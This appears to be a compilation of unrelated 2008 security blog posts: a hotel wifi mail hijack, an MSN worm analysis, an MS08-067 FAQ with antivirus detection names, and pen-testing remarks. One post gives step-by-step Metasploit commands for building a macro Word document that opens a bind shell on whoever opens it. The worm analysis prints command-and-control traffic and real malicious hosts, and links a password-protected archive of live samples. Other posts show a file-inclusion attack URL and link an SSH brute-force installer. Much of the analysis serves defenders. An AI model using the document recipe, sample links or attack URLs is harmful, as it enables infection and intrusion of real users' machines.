In a hotel in Beijing, using their wifi in the lobby. Everything goes fine until Noam tells me my email headers are weird.

Return-Path: aviram@hsia.com.cn
[…]
Received: (qmail 9613 invoked from network); 19 Nov 2008 13:26:43 -0000
Received: from mail.hsia.com.cn (HELO hsia.com.cn) (61.152.154.60)
by 0 with SMTP; 19 Nov 2008 13:26:43 -0000
Received: from FBH.hsia.com.cn ([123.124.225.63])
by hsia.com.cn (8.13.1/8.13.1) with ESMTP id mAJDTJlY005475;
Wed, 19 Nov 2008 21:29:20 +0800
Received: from beat.local (unknown [172.31.8.65])
by FBH.hsia.com.cn (Postfix) with ESMTP id 8AFEB520B0;
Wed, 19 Nov 2008 21:13:54 +0800 (CST)

Clearly I’m sending through another SMTP server, who goes as far as mangling my ‘Return-Path’ address header.

Only I’m not. My SMTP server is set (as always) to the corporate SMTP who is accessible through the VPN, in an encrypted connection that should not allow anyone to change fields. Just in case, I check it again. Yup, the SMTP server is there. So what’s up?
A quick investigation shows the following: The hotel’s network blocks my VPN (as some of them do) but happily resolves any unresolvable host name (such as my SMTP server’s hostname). This is resolved to a catch-all server that proxies everything. Transparently. (well, almost)

Lesson learned. Changed the hostname to the IP, and will soon switch to SSL based SMTP who will authenticate the server. In the meanwhile - be careful from helpful Beijing wifi providers who are only too happy to forward your mail on! (with some changes, of course).

This is actually a nice little feature of Metasploit which many of us are not aware. Here I will guide you through this.

Metasploit is nice tool written in ruby and very useful to penetration testers (and script kiddies) It provides good information on exploit techniques and is also a useful resource for exploit developers and security professionals. Latest release is 3.1 version as of now and its upcoming version 3.2 will be more hack-pack.

Enough of insight into metasploit, now back to action. We will create a malicious .doc file which will spawn a tcp shell on port 8888 on simply opening the file. However remember that MACROs must be enabled on victim’s system.
1. Go to Start–>All Programs–>Metasploit–>CMD SHELL.

2. type cd %APPDATA%
3. Next type in: ruby msf3/msfpayload windows/shell_bind_tcp LPORT=8888 V > macro.vba
4. Now to use this malicious vba file, open Microsoft Word/Excel.

5. Go to tools–>Macros–>Visual Basic Editor. Copy the contents of vba file and paste in the VB editor.

6. To enable macro tools–>Macros–>Security. Select the security level as low.

7. Now save the doc file.

8. On opening the seemingly harmless file, it will automatically spawn a cmd shell on port 8888.

Telnet on that port to spawn a command shell.

So now we have a malicious doc ready for action. We can use any available payload like connect back to attacker or even vnc inject payload. Hope this is helpful.

New Trojan horse for Mac environment has been discovered.

The Trojan is known as OSX.Lamzev.A by Symantec.

When it is executed it will create the file ezmal to the Applications folder (the name is Applications in localized installations too).

The names of earlier widely known OS X malware are Mac.Hovdy.a (June ‘08), OSX.Exploit.Launchd (June ‘06) and Leap.A (February ‘06). When saying ‘widely known’ it doesn’t mean that they were widely spreaded.

I remember the exact number of 63 when talking about known Mac malware.

There are no worms for Apple - yet.

Are viruses attracted to me specifically or it happens to everyone and they just don’t notice or say nothing about it. It getting really hard to speak with people using instant messengers and to be sure it is them sending you a message and not a virus.

Before i begin, let’s notice a few close viruses
This: http://www.cisrt.org/enblog/read.php?106
Is a different one, older one from July. Reported and still not fully detected by vendors.

Now for the painful part, this:
http://blog.threatfire.com/2008/06/msn-im-worm.html
a little older variant that was covered in June!!! that is 5 month ago!! the detection rates were nasty, they still are as you will see afterwards…
The point I don’t get is why don’t AV vendors take care of the missed detections at least AFTER some security researcher publishes an analysis?!

I got a message from a friend who is currently having a trip in thailand and i was amazed to see that his computer sent me a message with a link with my msn email in it. I clicked the link and here a file download prompt pops up and the file name is: “virus-PIC006.JPG-www.myspace.exe”.
Well, as tired as i may be, i would never be THAT tired to execute it

So i saved it and started to analyze!
Well what is it? it is a self extracting cab archive(almost original with resource details spoofed to be a microsoft file! (it even looks like it was edited manually using a tool such as Resource Hacker)
File Version: “6.0.2900.2180″
Description: “Win32 Cabinet Self-Extractor ” (may be they thought we won’t notice the spaces
Company: “Microsoft Corporation”
File Version: “6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)”
Internal Name: “Wextract ”
Language: “English (United States)”
Original File name: “WEXTRACT.EXE ”
Product Name: “Microsoft® Windows® Operating System”
Product Version: “6.00.2900.2180″

Well again it seems that Winrar is more effective than an Anti-Virus, where it detects it as a self-extracting archive so i know it’s no simple exe:

The funniest think about this “trap file” is that it has double extension of .jpg………..exe that comes with the default icon of a jpeg file

BUT when you switch to DETAILS view in the browser, then you see its 16×16 icon which is a setup icon:

Dear bad guys! use some of that money you steal to do some Q&A for your bot droppers!
O.K let’s see if our friends know it:

9 of 36…wow!
Could it be that Symantec, Mcafee, Kaspersky, F-Secure, Panda, Sophos all the great brands does not even suspect it?! and that Microsoft which is quite new in the AV business catches it?! I want to point out Dr. Web again for being a good detector(comparing to the concept of an Anti-Something) as Kaspersky once were, before they went to enterprise and from tech to GUI (if i was kaspersky, i would by dr web…just a thought)

So we extract the sfx and we get a file called test.exe with a jpg icon, this time it’s not an archive, here comes the real shame, it is not even packed!!!
Let’s see if our friends know it:

it is just a simple VC++ executable that uses dynamic function calls with the simplest use of a rolling xor running on the string “somenigz’, quite amusing

.text:0040122E mov [ebp+var_340], 0
.text:00401238 push offset Source ; “¦âöÉàöíâPÆöé馔
.text:0040123D call sub_401000
.text:00401242 add esp, 4
.text:00401245 push eax ; lpProcName
.text:00401246 push offset aFgqfaXaa ; “Üöâƒö¥-+¯ò¥¥”
.text:0040124B call sub_401000
.text:00401250 add esp, 4
.text:00401253 push eax ; lpModuleName
.text:00401254 call ds:GetModuleHandleA
.text:0040125A push eax ; hModule
.text:0040125B call ds:GetProcAddress

You can see these letters “Üöâƒö¥-+¯ò¥¥” which are clearly XORed sent to a function, the classic “decrypt my dll name and then the function in it and call it”. Of course “sub_401000″ is the decrypt function:

.text:0040105D Rolling_Xor_Loop: ; CODE XREF: sub_401000+85j
.text:0040105D mov edx, [ebp+var_C]
.text:00401060 add edx, 1
.text:00401063 mov [ebp+var_C], edx
.text:00401066
.text:00401066 loc_401066: ; CODE XREF: sub_401000+5Bj
.text:00401066 cmp [ebp+var_C], 9
.text:0040106A jnb short loc_401087
.text:0040106C mov eax, [ebp+Str]
.text:0040106F add eax, [ebp+var_8]
.text:00401072 mov ecx, [ebp+var_C]
.text:00401075 mov dl, [eax]
.text:00401077 xor dl, byte ptr aSomenigz[ecx] ; “somenigz”
.text:0040107D mov eax, [ebp+Str]
.text:00401080 add eax, [ebp+var_8]
.text:00401083 mov [eax], dl
.text:00401085 jmp short Rolling_Xor_Loop

Decoded XORed strings, by order, are:
CreateProcessA
kernel32.dll
NtUnmapViewOfSection
ntdll.dll
VirtualAllocEx
kernel32.dll
WriteProcessMemory
kernel32.dll
GetThreadContext
kernel32.dll
SetThreadContext
kernel32.dll
ResumeThread

This shows us this was not written by simple kids! this is a professional code injection using thread contexts, this teaches us that the guys “on the wild” have learned beyond besides CreateRemoteThread!!!

It seems that this version relates to: burimilol.com which is unknown to “norton safe web” (yeah right): https://safeweb.norton.com/report/show?name=burimilol.com but it’s older variant is known “burimilol.net”: https://safeweb.norton.com/report/show?name=burimilol.net
What separates us from the criminals is the “protected domain services” which is mostly used by criminals…again no internet cops

Now it executes itself! parses its duplicate’s PE and sections and injects code into it!
Then it dumps a hidden exe in %windir%(c:\windows) called fxstaller.exe(48kb) which this time has a jpg icon in both the 32×32 and the 16×16

This exe drops/downloads image.exe(48kb) in a new temp folder in %temp%

This results are crippy!!! i guess Dr.Web also failed and there is no one left to trust but Microsoft!
Then service.exe(144kb) is dropped at %windir$\system32\service.exe, a hidden file with a darth vader icon

This exe of darkness downloads and executes a file to c:\msn.exe

Now some deeper information, for the researchers among us. Why their url is not blocked?! because they are tricky!!!
They “try” do download http://www.freewebtown.com/tatrusa/test2.jpg which redirects to
http://fwt.txdnl.com/6-40/t/a/tatrusa/test2.jpg
Then it requests
GET /cn?sid=40545F5A4F1F545B365C365836085B51363A0C1B1F000A0C4939080A02495B4F0A000D542F5C2B282F2D5A5C5A2D5E2C5D5A5B282B2B5E582C5F5151592D2C515D2A5A5A4F081D544F131854594F1D1954594F080F0F000D54585F515D51504F04061B1901000D5408075B0E4F1B0C1F000D54505C505B692901 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 85.17.166.233

And gets

HTTP/1.1 200 OK
Date: Thu, 13 Nov 2008 00:04:56 GMT
Server: Apache/2.0.61 (FreeBSD) PHP/5.2.3 with Suhosin-Patch mod_fastcgi/2.4.2
Set-Cookie: sid=EE1DDFD5947B45F595556BD6D7E9C1A7; expires=Sat, 07-Nov-2009 19:04:56 GMT

g_InstallDll: http://77.93.75.153/img/upd.dll
Content-Length: 127
Connection: close
Content-Type: text/html

34034a4615431643424540474651151e4a4640445116034a354344403134363435464641464633333543454346414f434f4e3431313131315104114a047743

Then it sends stuff about me, to get the commands for this cool trojan!

POST / HTTP/1.1
g_Version: 1156
g_ClientGUID: ,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_SetID: [QJx
g_AffiliateID: y9NkNh
g_ResourceID: MnOM
g_URL: 8

g_Client: .Sf”yhJ:y9N:y!y:9` %?[H[Q]F:FBxFf@8/FQ”`:y:J9GGg)O?BFVO S[VE Ji8.K”-:G:`-!G:y!8vR”^yJG8Z}V”|OW?Om8*) uOxFfUO?On U}” =?}m8rc=”GG^G!^aa^NG^`9^Gk8*K [VV}]QUf”0S*S!p[IO”f[n[f)rvSp[IO”f[n[fb8 =?}m86Wn”GGGGGkGh>#GGGGGkGq8p]IWO? }a H?}VOff}?f” y8.f_fO?cnIFQ” 1Of8o)]VV=}QQ”QOBO?o=}QQ”QOBO?o=}QQp]I”Go,FAO” =”z/.pq*/)zf~fUOI!JzQQQAPFF.:nAAo.QF fFMO” !kkoqOaX?}mfO?”D=”zS?}x?[I ,FAOfz.QUO?QOU KYHA}?O?z.KeSZ*uK:KeKD ^Q}’}IOoqOfEU}H)~fUOI”qOfEU}Ho
g_GZipSupported: U?]O
g_RevID: h9J-
g_First: y
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: bescoro.com
Content-Length: 37
Cache-Control: no-cache

)vcv.)v.=) 0%nDDn@%r}MFAA[|FfU}?~” @b

And gets:
HTTP/1.1 200 Ok
Server: nginx/0.5.35
Date: Thu, 13 Nov 2008 00:05:26 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Pragma: No-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 219
Content-Language: en
Set-Cookie: uid=Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: guid=,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: cn=y; expires=Mon, 09-Dec-2007 13:46:00 GMT
Location:
Test: [B[FA
g_AdCategory: )}IO
g_ConnectionPerDay: k
g_MaxCategoryAppearances:
g_Popup: U?]O
g_PopupPerDay: yGy
g_RSD: ‘UUH”88}WFOWO:V}I8x}88o’UUH”88nO?}]fUF:V}I8x}88o
g_RedirectServers: ‘UUH”88NJ:hN:J!`:!`8x}88o’UUH”88N`:y-:y99:y-G8x}88o’UUH”88N!:ykh:yy`:ykN8x}88o
g_RevFlag: G
g_ServerIPs: gWOfV}?}:V}I”NGigNh:yNN:y9:!9″NGigN!:ykh:yy`:yk-”NGi
g_SetIDWas: _Q?OAO[fOn
g_StatisticsUploadDelay: y
g_StealFocus: a[AfO
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_URL: 8

Y.r.r..G…..=……Q..|$u..kM.+`…….u..-.L..7…7{G.
.w.=.(r…%…….u……..NsGD.a.2…g.d….I.6..:T………….R.L_……$6.G…….RZeZ>
+=/~..`Y. ……..B……..X
..’.a.b..7…O>n.i..Y.._9_%.
…qre../.p.

Then it “trys” to download http://www.freewebtown.com/tatrusa/oos.jpg and again redirected to: http://fwt.txdnl.com/6-40/t/a/tatrusa/oos.jpg
Then it downloads http://www.j2arts.com/images/msn.exe to c:\msn.exe
From here it looks like it is the same old tech viruses (keyloggers and the classics, i don’t have time for these files…..):
rundll32.exe C:\WINDOWS\system32\vtUolLBS.dll,a (vtUolLBS…. == random name)
rundll32.exe C:\WINDOWS\system32\nnnljiiI.dll,c
rundll32.exe C:\WINDOWS\system32\iifgHbyY.dll,a

So let’s summarize!

Evil hosts:
burimilol.net
burimilol.com
www.j2arts.com
www.freewebtown.com
fwt.txdnl.com
bescoro.com
77.93.75.153
85.17.166.233

The AV vendors should receive my scanned files from virustotal.
I will also make an exception on this one and upload a sample for all the involved executable!
http://www.linkstofiles.com/MSNWorm.rar
archive password: “virus”

Stop them, sue them, black list them, hack them, they are stealing from all of us!
Fight for digital law enforcement!!!

You are probably reading this post, asking yourself “why does he even let me know”. So I will start by saying that my boy had his birthday a few months ago, so this post isn’t about him, it’s completely unrelated.

It has to do with this site: http://babycaleb.fort unecity.co.uk/ (I broke the link so people do not JUST jump and go to it)

This site isn’t mine, it was used to hack a friend’s web site, so I took to myself to look into it.

This site hosts a few pictures, some are quite weird to put online (hint to: My Wifes Scar), while others are completely harmless (hint to: My baby).

The issue is not in the pictures but rather what is there and cannot be seen without doing a bit of digging.

I will give some more hints in a follow-up post, if no one else comes up with what does this site do to you.

(Another hint, the site of my friend was hacked using this link: /clock.php?arg_tmirror=http://babycaleb.fortu necity.co.uk/index.htm)

Calcalist reports that the wired network in a recent google developers conference in Israel was hacked during the conference. I haven’t seen that report anywhere else, but the reporter Dora Kishinevski is fairly level headed with little tendency for sensational stories so I’m marking it as probably true.

According to the article, google sent a follow up email to the participants and warned them the network was compromised. This is interesting first because the attack was on the wired and not wireless Internet, which is considerably harder to do without being caught, and second because it reminds us how insecure gmail is over compromised lines (as opposed to, for example, a corporate VPN). I’m willing to bet close to 100% of the participants used gmail while in the google conference.

The article also quotes google as writing “We recommend you change your password, just in case, to any site you visited using the wired connection”. Definitely.

RSA Security’s Blog has information about the seriousness of the Sinowal banking Trojan.

Like many of us know this Trojan aka Trojan-PSW:W32/Sinowal.CP and Trojan.Mebroo uses so-called MBR rootkit technique.

Link here.

Randy Abrams recently pointed out to me that today is the 20th anniversary of the Morris Worm. For all you kids out there who have no recollection of this event, I’ve just posted a blog at http://www.eset.com/threat-center/blog/?p=165 that recaps on the worm and includes some relevant references, but right now I want to expand on a thought I had while I was writing it.

The Morris worm was very much of its time. It was a proof of concept (actually of several concepts) item of malware that showed a certain interest in and knowledge of some vulnerabilities that were current at that time (mostly a fingerd buffer overflow exploit and a somewhat flaky implementation of sendmail debugging), and was clearly meant to be self-launching. Most current malware, while it may well use drive-by downloads and other exploits, seems to use some form of social engineering. So maybe the earlier CHRISTMA EXEC worm was the real pioneer, with its mass mailing payload and its chainletter appeal to the gullibility of the victim. Well, we can draw dotted lines between old and new malware from now to Christmas, which is the sort of thing that interests saddos like me but doesn’t necessarily gain us much in terms of securing the internet.

Looking through some historical resources, it strikes me that there are some moments in malware history that not only define the time, but in some way draw a line under it, though Morris was followed by a copycat VMS worm the following year). After that, though, we waited quite a while for a real mass mailer epidemic and for the big network worms of this decade. Melissa managed to mark both the beginning of heavy duty mass mailers and the end (or at least the decline) of macro malware. Yet there are no full stops here. In 2008, we’re still seeing new(-ish) stuff cheek-by-jowl with the sort of malware we’ve mostly forgotten about: old-time boot sector viruses and new-age MBR rootkits; macro viruses and office suite exploits; overflows and drive-bys; and an endless loop of social engineering tricks (phishes, 419s, fake admin messages, fake codecs, fake updates…) The only really substantial change is the disappearance of the hobbyist hacker/malware author, promoted into full-blown cyber-criminality.

It seems that what we really need to patch is human nature: the evil gene, the greed gene, the careless gene, the “what’s a patch?” gene, the “I can click on anything because I have anti-virus software” gene…

David Harley CISSP FBCS CITP
ESET LLC

The RPC Worm Victim List has a list [.txt] of hundreds machines and they are mainly Windows XP machines (MSIE 6.0 or MSIE7.0; Windows NT 5.1 in browser’s user agent).

I made a script to generate WHOIS queries and the results say that the victim machines are located mainly in Australia, China, Philippines, India, Japan, Korea, Malta, Malaysia, Taiwan, and Vietnam. There are only some machines in France, UK, and USA.

It’s very interesting that there is an IP from Microsoft too - a Wget machine with IP address 64.147.0.80. The Wget version is 1.10.2.

Whois Record

OrgName: Microsoft Corp
OrgID: MSFT
Address: One Microsoft Way
City: Redmond
StateProv: WA
PostalCode: 98052
Country: US

NetRange: 131.107.0.0 - 131.107.255.255
CIDR: 131.107.0.0/16
NetName: MICROSOFT

There are several Wget UA’s included, one with the version number Wget/1.8.2 too.

I recommend that Redmon guys patch that machine ASAP

SearchEngineJournal has a story about this guy that gave the keys to his business to Google. Well, not exactly the keys, but he used a Gmail account for all his business emails, and had used the same account for his Google Analytics, Webmaster Tools and his own Google Adsense account.
And then one day he woke up and found out that Google disabled his Google account.

From that moment on, not only his Adsense income stopped and he couldn’t access any email he kept in his Gmail Inbox, but all the emails sent to him by his customers were routed to a voided account.
I can’t even think how to start handling such a crisis. What do you do first? I have a few ideas but that’s for a different post.

What the hell was he thinking about when he gave Google the keys to his business?

If you still want to use a Google account for your business there are a few things you should do:
1. Make sure you backup your account on a regular basis.

2. Get your own domain and use Google Apps. This way in case of emergency you can change your MX Records back you to your original hosting whitin a few hours.

3. Never use your personal account for your Google Adwords.

4. Never use your personal account for your Google Analytics.

5. Never Ever use your personal account for your Google Adsense.

Don’t let them catch you unprepared.

I made a pen-test lately to a medium size American firm and it seems public remote exploits for devices such as Juniper, Netopia, Cisco (telnet) and default Linux services has gone to as low as one or two for each since 2004.

Since any respectable firm has windows update turned on and the Fedora style Linux distribution also has automatic updates, I got to the conclusion that the cycle of:
Safe –> Research –> Exploit –> Public Disclosure –> Patch –> Automatic Update –> Safe
results that Black-Box Penetration Testers don’t have much to show the client except for configuration errors and a few user enumerations and less critical stuff that don’t get fixed by the vendors.

The solution for that would be that pen-testers will find their own exploits. That is why in the last years most of the written tools are fuzzers.
Cisco, Netopia, Juniper and Linux services were already fuzzed as hell before they were shipped to clients so this doesn’t seem to be a good approach to the problem.

My suggestions:
1) if you are a pen-tester, research and discover your own vulnerabilities and create workarounds for them, show it to your client and keep it to yourself!
2) If you are a researcher, supply a working P.O.C because the pen-testers doesn’t have time to buy that machine and develop a working shellcode to work with your vulnerability

Being 13 hops away from the machines I had been pen-testing I was amazed to see that products which are extremely mainstream and trusted fail for such a simple task.
I used Nmap to scan the network range (of course with -P0 or -PN in the new version) and just two HTTP servers were discovered from 8 hosts, as I am not a big fan of Nmap I returned to what I was using in the past GFI Languard.

I scanned the targets using GFI Languard (which is a great tool when used inside local networks) and I set complete TCP and UDP ports scan with 20 seconds TCP timeout and 8 seconds UDP timeout, this timeouts are EXTREME and should achieve the most accurate results. The scan results were very poor, detecting about 3 open ports on 8 machines!!! Of course I checked nothing else is running on my internet connection to make sure this was just a bad dream. I scanned again and one more port was discovered, SSH!

I decided this cannot be true and I returned to Nmap using the “slow and Intensive” scan and the results were better, about 5 TCP ports and 1 SNMP, I thought “still no way that is all they got!”

Finally, I installed the latest version of Nessus (Tenable Nessus 3), configured it to be with high timeouts and ran the scan. The results were AMAZING!!! It didn’t miss any of what the other scanners have found and he discovered 15 more UDP ports and 7 more TCP ports. From now on, I am only scanning with Nessus, my time is worth it!

Now that I had some interesting services to attack, I wanted to try and log into one of the Linux machines using SSH. To me it sounds simple, “I will download a dictionary/brute force SSH tool and that’s it”. Apparently not!
There is an ancient perl script running all across the web to do SSH and “expect” THAT-IS-LAME. Some guy really agreed about that and wrote a ruby script to use the lib NET::SSH and automate attempts, quite similar to Tim’s SShatter perl script, that is nice but still no multithreading supported.
Of course you may think “Why not use T.H.C Hydra?”, the answer would be because by default it’s not configured to be compiled with LIBSSH and you got to get some libs, you will burn a few hours to make it work!

My dear friend “Kiril Nesenko” AKA “axi1es” wrote for YOU guys the script for “The Common Lazy Fedora Guy” which will download hydra, the SSH and other libs, will configure and compile it and will execute the Hydra all automatically, enjoy!
http://www.linkstofiles.com/install_hydra-5.4-src+ssh.sh

So Dave Aitel said there are no more RPC vulnerabilities because his fuzzer couldn’t find any new ones. Well, I thought it was just a matter of trying more combinations and I was right.

The point, though, is not who has a longer fuzzer, but that when it comes to security always bet against the person who says something is impossible.

In fact, I made that mistake myself back in the 1990s, claiming Windows can’t be reliably exploited (I can’t find the link to the old ntbugtraq archives - thank god for that). Little did I know how easy writing Windows exploits would become. Now if I can only get a message to my younger self to avoid this embarrassment. And if I do get to talk to my young self I’ll be sure to tell me to skip the 2nd and 3rd matrix movies.

Summary:
This is Frequently Asked Questions document about new, recently patched RPC vulnerability in Microsoft Windows. The document describes related Trojan and worm malware as well.
It is worth of noticing that code execution type vulnerabilities in Office programs are widely used to industrial espionage since 2006. This time the exploitation represents the use of non-Office vulnerabilities and e-mail attack vector is not used.

Update: After the weekend the malware analyses shows that the Trojan has designed to steal credential information and to collect a botnet-like network.

Q: What is the recent Microsoft Window RPC vulnerability disclosed in October?
A: This vulnerability is caused by an error when processing malformed RPC (Remote Procedure Call) requests. The issue was disclosed by the vendor after active exploitation of the vulnerability.
Q: How does the vulnerability mentioned works?
A: The vulnerability is code execution type vulnerability. Attacker successfully exploiting this vulnerability can run code of his or hers choice in the affected machine.
This vulnerability is caused due to overflow when handling malformed RPC requests. This enables executing arbitrary code of the attacker. Technically the vulnerability exists in the Server service.

Q: When this vulnerability was found?
A: The exact information is not available. Information about upcoming security update was announced on 22nd October, but this vulnerability has been used in targeted attacks at least two weeks already. The exploitation disclosed the existence of vulnerability.

Q: What is the mechanism in exploitation?
A: Information was not disclosed, but during the exploitation malicious executables are being downloaded and executed from the remote Web site.

Q: Is the exploit code of this vulnerability publicly released?
A: Yes. On Friday 24th October the proof of concept code was released on a blog of security researcher and on public, moderated security mailing list. The PoC has been released at several well-known exploit and security community Web sites too. Metasploit module has been released too (link). PoC’s work against Windows XP SP2, Windows XP SP3 and Windows 2003 Server SP2 machines.

Q: Which Windows versions are affected?
A: Microsoft Windows 2000, Windows XP, Windows Vista, Windows 2003 Server and Windows Server 2008 systems are affected.

Q: I am using the 7 Pre-Beta version of Windows, is my operating system affected?
A: According to the Microsoft it is affected too. An update is available (see MS08-067).

Q: I am a home user, is it possible to update my system in a normal way via Microsoft Update?
A: Yes, visiting the Microsoft Update Web site at http://update.microsoft.com/ will update the system against the exploitation of the vulnerability. If the Automatic Updates is enabled the system will be updated automatically without user’s actions.

Q: Where are the official Microsoft documents related to this case located?
A: The official Security Bulletin MS08-067, entitled Vulnerability in Server Service Could Allow Remote Code Execution (958644) has been released at Microsoft TechNet Security section:
www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
Updated information released by the vendor has been covered at MSRC Blog (The Microsoft Security Response Center Blog). The address of the blog is blogs.technet.com/msrc/.
File information of the MS08-067 security update has been released at separate Knowledge Base document #958644: support.microsoft.com/kb/958644.
Microsoft Security Advisory #958963 released to notify the availability of the security update is located at
www.microsoft.com/technet/security/advisory/958963.mspx

Q: What the term ‘out-of-band’ means?
A: Normally Microsoft releases security updates once a month, at the second Tuesday of the every month. Very rarely, during the Windows ANI vulnerability etc. the security update will come out outside of this regular update cycle. Out-of-band and out-of-cycle describe the situation when waiting the regular update Tuesday, so-called Patch Tuesday is not enough to protect Windows systems against exploitation.
The next security updates will be released on Tuesday 11th November.

Update:
Q: Is this a new Slammer worm?
A: No, due to new security features included to SP2 etc. However, on 3rd Nov it was reported about the worm exploiting this vulnerability.

Q: Are there any workarounds available? Our organization is making tests with the patch still.
A: The security bulletin lists the following workarounds:
-Disable the Server and Computer Browser services
-Block TCP ports 139 and 445 at the firewall

Q: Is there Snort rules for this vulnerability available?
A: Yes. Additional details can be obtained at
www.snort.org/vrt/advisories/vrt-rules-2008-10-23.html
known as a ruleset against Microsoft DCE/RPC remote code execution attempts.
The download address is www.snort.org/pub-bin/downloads.cgi
(to paying Sourcefire customers)
Emerging Threats project has released new signatures too, details at
http://www.emergingthreats.net/index.php/component/content/article/17-sigs/125-weekly-new-signatures-october-25-2008.html

Q: What is the situation of Nessus plugins related to this vulnerability?
A: Nessus Plugin ID #34476 has been released. More information is available at
www.nessus.org/plugins/index.php?view=single&id=34476

Q: What are the target organizations etc. of this vulnerability?
A: This information is not available and probably it will never go public. Microsoft has confirmed that fever than 100 organizations are targeted in targeted attacks.

Q: Is there information about file sizes used during the attacks?
A: Yes. The size is 397,312 bytes.
Update: The size can be anything between 49,152 and 417,792 bytes.

Q: How the user can notify the infection?
A: It is reported that the command prompt will appear.

Q: What are the names of malwares exploiting this vulnerability?
A: There are reports about a data collecting Trojan (Gimmiv.A) and a Trojan searching for non-patched machines on LAN (Arpoc.A).

The following names are being used (listed in alphabetical order):
AhnLab - Dropper/Gimmiv.397312 since 2008.10.24.04
Authentium - W32/Gimmiv.A since 23rd Oct
Avira - TR/Dldr.Agent.gcx since 24th Oct, iVDF 7.00.07.81
Bitdefender - Win32.Worm.Gimmiv.A since since 23rd Oct
- dropper detected as Win32.Worm.Gimmiv.B
CA - Win32/Gimmiv.A since eTrust 31.6.6167
ClamAV - Trojan.Gimmiv since 8524
- Trojan.Gimmiv-1…Trojan.Gimmiv-7 since 8526
Dr.Web - DLOADER.PWS.Trojan since 23rd Oct
Eset - Win32/Gimmiv.A since 24th Oct, v.3551
- Win32/Spy.Gimmiv, Win32/Spy.Gimmiv.A since v.3553
- Win32/Spy.Gimmiv.B since v.3555
Fortinet - W32/Gimmiv.A!tr.spy
- name change: W32/Gimmiv.A!worm since 9.676
F-Secure - Trojan-Spy:W32/Gimmiv.A since 2008-10-24_01
- Trojan-Spy:W32/Gimmiv.B since 2008-10-24_05
- Trojan-Spy:W32/Gimmiv.C, D, E, F variants since 2008-10-24_08
- Net-Worm.Win32.Gimmiv.a since 25th Oct 2008-10-25_01
McAfee - PWS.y!C91DA1B9 since DAT5413
- Spy-Agent.da since 23rd Oct, DAT5414, its DLL component detected as Spy-Agent.da.dll
Microsoft - TrojanSpy:Win32/Gimmiv.A[.dll] since 23rd Oct
- since 24th Oct update 1.4005 included signatures
- exploit: Exploit:Win32/MS08067.gen!A
Kaspersky - Trojan-Downloader.Win32.Agent.alce since 24th Oct, 7.0.0.125
Panda Security – detected as ‘Suspicious file’ since 23rd Oct, 9.0.0.4
- Gimmiv.A since 24th Oct
PCTools - Trojan-Spy.Gimmiv.A
Prevx - detected as ‘Cloaked Malware‘
Rising - Trojan.Spy.Win32.Undef.z since 23rd Oct, 21.00.32.00
Sophos - Sus/Dropper-A since 21st Aug (based to heuristic techniques)
- additionally Troj/Gimmiv-A, IDEs since 4.34.0,
- Troj/Gimmiv-Gen since 4th Nov
Symantec - Infostealer since 23rd Oct
- name change: Trojan.Gimmiv.A since 24th Oct, rev. 024
- malicious files detected as Bloodhound.Exploit.212
Trend Micro - WORM_GIMMIV.A since 5.617.00
- TSPY_GIMMIV.A since 5.617.00

where ’2008.10.24.04’ states that these virus signatures or newer include a protection for the malware.

Alias names CVE-2008-4250, W32.Slugin.A and W32/NetAPI32.RPC!exploit.M20084250 are in use too.

Update: Added Arpoc section:
BitDefender - Win32.Worm.Gimmiv.B
CA - Win32/Gimmiv.B since 31.6.6172
Dr.Web - Win32.HLLW.Jimmy.3 since unknown signatures
McAfee - Spy-Agent.da since DAT5414, its DLL component detected as Spy-Agent.da.dll

Update: Added RPC worm section:
AntiVir - TR/Expl.MS08-067.G
BitDefender - Trojan.Downloader.Shelcod.A
ClamAV - Exploit.MS08-067 since 8566
Eset - Win32/Exploit.MS08-067.B, C and D since 3576
F-Secure - worm component as Exploit.Win32.MS08-067.g
- kernel component as Rootkit.Win32.KernelBot.dg
Ikarus - Virus.Exploit.Win32.MS08.067.g
Kaspersky - Exploit.Win32.MS08-067.g since 31th Oct
McAfee - kernel component as KerBot!37E73FFB since DAT5422
Microsoft - Exploit:Win32/MS08067.gen!A
- Trojan:Win32/Wecorl.A
- Trojan:Win32/Wecorl.B
Norman - kernel component as w32/agent.jbvo
Prevx - Worm.KernelBot
Sophos - Mal/Generic-A
- Exp/MS08067-A since 4th Nov
Symantec - W32.Wecorl since 3rd Nov (latest daily certified version) rev. 052
- W32.Kernelbot.A since 3rd Nov (latest daily certified version) rev. 041
Trend Micro - WORM_KERBOT.A since 5.637.00
- WORM_WECORL.A since 5.640.05

Q: What kind of payload this Trojan horse has?
A: This is what the Trojan gathers (according to Microsoft’s document):
*User Name
*Computer Name
*Network Adapters / IP Addresses
*Installed com objects
*Installed programs and installed patches
*Recently opened documents
*Outlook Express and MSN Messenger credentials
*Protected Storage credentials

Q: What kind of Trojan has attacked to the targeted organizations?
A: It is a very sophisticated and dangerous Trojan. It encrypts the data with AES and deletes itself after its operations. Before sending the gathered data to the attacker it reports the AV software of the installation (from HKEY_LOCAL_MACHINE\SOFTWARE\) as a parameter (BitDefender, Jiangmin, Kingsoft, Kaspersky, Microsoft OneCare, Rising and Trend Micro).

Q: Are there any changes to Windows registry or the file system made by this malware?
A: The following registry key is being modified:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sysmgr
The display name of the service being generated is System Maintenance Service.
The malicious files are being copied to System32\wbem folder including basesvc.dll, syicon.dll, winbase.dll and winbaseInst.exe. NOTE: After being executed the Trojan deletes these files and itself.
Update: According to Arbor Networks the file C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\macnabi.log is being dropped too.

Q: Now I know that my anti-virus software can report computers in my organizations as clean because the Trojan has deleted itself from the system. What are the malicious executables that I can search them and examine logs etc.?
A: There are several names and all of the files has same size mentioned earlier, i.e. 397,312 bytes.
Update: According to McAfee the size varies from 49,152 to 417,792 bytes.

